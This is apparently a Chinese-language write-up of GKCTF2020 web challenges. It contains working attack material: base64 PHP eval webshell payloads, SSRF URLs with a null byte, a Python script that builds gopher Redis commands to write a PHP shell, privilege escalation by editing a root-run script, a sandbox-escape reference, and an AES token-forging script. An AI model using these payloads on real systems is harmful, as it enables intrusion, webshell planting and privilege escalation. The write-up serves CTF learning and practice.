找了个时间复现了 GKCTF 的 WEB 题目
[GKCTF2020]CheckIN 代码执行
进去给到源码,给了我们一个小马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php highlight_file (__FILE__ );class ClassName { public $code = null ; public $decode = null ; function __construct ( ) { $this ->code = @$this ->x ()['Ginkgo' ]; $this ->decode = @base64_decode ( $this ->code ); @Eval ($this ->decode); } public function x ( ) { return $_REQUEST ; } } new ClassName ();
先上一个小马
1 2 php > echo base64_encode ('eval($_REQUEST[kk]);' ); ZXZhbCgkX1JFUVVFU1Rba2tdKTs=
看看 phpinfo
1 ?Ginkgo=ZXZhbCgkX1JFUVVFU1Rba2tdKTs%3D&kk=phpinfo();
绕 disable_functions
蚁剑连上去,flag 需要 /readflag
可以直接用这个绕 https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
上传到 /tmp 目录,直接包含就好
执行命令
1 ?Ginkgo=ZXZhbCgkX1JFUVVFU1Rba2tdKTs%3D&kk=include("/tmp/exploit.php");&cmd=/readflag
[GKCTF2020]cve版签到 cve-2020-7066
exp 在这里 https://bugs.php.net/bug.php?id=79329
直接打就好,访问 127.0.0.1 返回 hint
1 ?url=http://127.0.0.1%00.ctfhub.com
1 ?url=http://127.0.0.123%00.ctfhub.com
[GKCTF2020]老八小超市儿 弱口令+后台geishell+提权
参考 http://www.nctry.com/1660.html 后台getshell
我这里扔了一个冰蝎的马,连上读 /flag
读了个寂寞,提示日期很重要
上传个 LinEnum 读一下信息
在进程信息那里我们看到了 root 在执行一个 /auto.sh
看一下文件,这也是解释了进程为什么一直有 sleep 60 这个操作
看一下 py 文件
这很显然就是我们的变量劫持,看一下权限
所以我们可以通过改写这个 py 文件提权
其实,这个 /auto.sh 也是可写的,我们也可以改这个
我这里就直接改 py 了
等个一分钟收割 flag
[GKCTF2020]EZ三剑客-EzWeb 内网+redis写shell
进去源码有提示
给到了一个 hosts 的信息
尝试访问 localhost 被 waf
1 /index.php?url=http://127.0.0.1&submit=提交
那就改成内网地址试试
1 /index.php?url=http://173.235.100.10&submit=提交
返回了正常页面
这里我们揣测出题人的思路,那应该就是让我扫内网地址,直接 bp,发现了这个比较特殊
1 /index.php?url=http://173.235.100.11&submit=提交
那就是让我们去扫描端口,继续 bp 扫常用端口,发现 redis 有回显
记住要扫常用服务,不要从1开始扫,不然要很久
1 /index.php?url=http://173.235.100.11:6379&submit=提交
gopher 协议没有 ban,发现可以 redis 随意写 shell
注意编码问题就好
这里直接贴上 payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import urllibimport requests as rqprotocol="gopher://" ip="173.19.221.11" port="6379" shell="\n\n\n\n<?php system('ls / -al');system('cat /flag'); ?>\n\n\n\n" filename="index.php" path="/var/www/html" passwd="" cmd=["flushall" , "set 1 {}" .format (shell.replace(" " ,"${IFS}" )), "config set dir {}" .format (path), "config set dbfilename {}" .format (filename), "save" , "quit" ] if passwd: cmd.insert(0 ,"AUTH {}" .format (passwd)) payload=protocol+ip+":" +port+"/_" def redis_format (arr ): CRLF="\r\n" redis_arr = arr.split(" " ) cmd="" cmd+="*" +str (len (redis_arr)) for x in redis_arr: cmd+=CRLF+"$" +str (len ((x.replace("${IFS}" ," " ))))+CRLF+x.replace("${IFS}" ," " ) cmd+=CRLF return cmd if __name__=="__main__" : for x in cmd: payload += redis_format(x).replace("\r\n" ,"%250D%250A" ).replace("\n" ,"%250A" ).replace("?" ,"%253f" ) print (payload)
这里我省了步骤,我是先看了 phpinfo(),发现没有 ban system(),再列一个目录,再看 flag 在哪
上传之后回显成功
访问内网机子就能看到
1 /index.php?url=http://173.235.100.11&submit=提交
[GKCTF2020]EZ三剑客-EzNode nodejs
上来给了代码和版本,直接代码审计
总体逻辑就是绕过这里的 waf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 app.use ((req, res, next ) => { if (req.path === '/eval' ) { let delay = 60 * 1000 ; console .log (delay); if (Number .isInteger (parseInt (req.query .delay ))) { delay = Math .max (delay, parseInt (req.query .delay )); } const t = setTimeout (() => next (), delay); setTimeout (() => { clearTimeout (t); console .log ('timeout' ); try { res.send ('Timeout!' ); } catch (e) { } }, 1000 ); } else { next (); } });
就可以直接 eval 了
1 2 3 4 5 6 7 8 9 10 11 app.post ('/eval' , function (req, res ) { let response = '' ; if (req.body .e ) { try { response = saferEval (req.body .e ); } catch (e) { response = 'Wrong Wrong Wrong!!!!' ; } } res.send (String (response)); });
waf 可以用 int 溢出漏洞绕过,所以传入 2147483648 绕过成功
当 delay 大于 2147483647 或小于 1 时,延迟将设置为 1
后面就是绕 saferEval 了,这个根据版本去搜一下就好 ,最新版本的一般在 github 的 issues 里找到,可以直接拿来用
https://github.com/commenthol/safer-eval/issues/11
[GKCTF2020]EZ三剑客-EzTypecho 反序列化
Typecho反序列化漏洞复现
原版本在 install.php 那会有一个反序列化
但是出题人在这里加多了一个 if(!isset($_SESSION))
但是后面还有一处,我们直接传入 ?start
触发即可
命令执行无限制,直接读 /flag 就好
[GKCTF2020]Node-Exe 第一次碰到这题目,无从下手,不过还挺有意思的
先看一下程序运行逻辑,打开 admin 登陆进去,然后给你三个 flag,打开 fiddler 抓包发现是发送了一个含有 timestamp 的 json,id 对应的就是 flag 的位置
命令行断点 bpu http://xxx.node3.buuoj.cn
1 {"id":1,"timestamp":1590639747000}
直接修改 id = 3 会返回
1 {"message":"HaHa Hacker!!!"}
写脚本伪造 timestamp 也失败
所以后台应该是验证了 token
还是去看看源码吧,把安装程序改成 zip 解压一下,源码在
1 /app-64/resources/app.asar
进行反编译
1 2 npm install -g asar asar extract app.asar app
看一下 buyflag 的逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 buyFlag : function (e ) { var i = this ; return c ()(a.a .mark ((function t ( ) { var o; return a.a .wrap ((function (t ) { for (;;) switch (t.prev = t.next ) { case 0 : return o = { id : e, timestamp : Date .parse (new Date ) }, t.t0 = i.$http , t.t1 = i.url + "/buyflag" , t.t2 = o, t.next = 6 , i.makeToken (o); case 6 : t.t3 = t.sent , t.t4 = { token : t.t3 }, t.t5 = { headers : t.t4 }, t.t6 = function (e ) { i.$Modal .info ({ title : "购买结果" , content : e.data [0 ].flag }) }, t.t0 .post .call (t.t0 , t.t1 , t.t2 , t.t5 ).then (t.t6 ); case 11 : case "end" : return t.stop () } }), t, i) })))() }
看一下 makeToken
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 makeToken : function (e ) { var i = this ; return c ()(a.a .mark ((function t ( ) { var o, r; return a.a .wrap ((function (t ) { for (;;) switch (t.prev = t.next ) { case 0 : return "31169fedc9a20ecf" , "d96adeefaa0102a9" , o = f ()(n ()(e)), t.next = 5 , i.encrypt ("31169fedc9a20ecf" , "d96adeefaa0102a9" , o); case 5 : return r = t.sent , t.abrupt ("return" , r); case 7 : case "end" : return t.stop () } }), t, i) })))() }
再看一下 encrypt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 encrypt : function (e, i, t ) { var o = this ; return c ()(a.a .mark ((function n ( ) { return a.a .wrap ((function (o ) { for (;;) switch (o.prev = o.next ) { case 0 : return o.abrupt ("return" , new s.a ((function (o ) { var n = p.a .createCipheriv ("aes-128-cbc" , e, i), r = n.update (t, "utf8" , "binary" ); r += n.final ("binary" ), o (r = new Buffer .from (r, "binary" ).toString ("hex" )) }))); case 1 : case "end" : return o.stop () } }), n, o) })))() },
所以 token 使用了 aes-128-cbc
进行对经过了 o=f()(n()(e))
处理的 json 进行加密,key 是 31169fedc9a20ecf
,iv 是 d96adeefaa0102a9
随便拿一个 token 试验一下
32 位的我们拿 md5 测试一下
可以看到是吻合的,这里贴上脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from Crypto.Cipher import AESfrom binascii import b2a_hex, a2b_heximport time, json, datetime, hashlibimport requests as rqdef encrypt (raw ): BS = 16 pad = lambda s: s + (BS - len (s) % BS) * chr (BS - len (s) % BS) key = b'31169fedc9a20ecf' iv = b'd96adeefaa0102a9' raw = pad(raw).encode() cryptor = AES.new(key, AES.MODE_CBC, iv) ciphertext = cryptor.encrypt(raw) return b2a_hex(ciphertext).decode() def get_data_token (): dtime = datetime.datetime.now() t = int (time.mktime(dtime.timetuple())) * 1000 data = json.dumps({"id" :"3||1" , "timestamp" :t}).replace(' ' ,'' ) print ("[+] data:%s" % data) token = encrypt(hashlib.md5(data.encode()).hexdigest()) print ("[+] token:%s" % token) headers = { "Content-Type" : "application/json;charset=UTF-8" , "token" :token } return data, headers if __name__== "__main__" : url = "http://1165bc7f-ecfb-45e8-bbc5-533876f73e8d.node3.buuoj.cn/buyflag" data, headers = get_data_token() res = rq.post(url, data=data, headers=headers) print (res.text)
需要注意的是
使用 json.dumps 要把结果的空格都去掉
AES 加密使用的 padding 是 pkcs5
时间戳的获取一定要用 datetime(),不能用直接 time.time()